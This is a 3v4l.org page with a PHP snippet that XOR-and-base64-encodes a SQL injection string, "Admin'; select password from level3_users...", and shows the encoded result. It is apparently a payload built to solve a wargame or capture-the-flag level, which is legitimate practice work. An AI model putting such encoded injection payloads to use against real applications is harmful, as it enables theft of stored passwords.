3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin'; select password from level3_users where username=Admin;")); ?>
Output for 4.3.0 - 7.1.0
MTI5MTY0MTczMTY5MTc0MjMxMjUxMjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMTI5MTY0MTczMTY5MTc0MjUx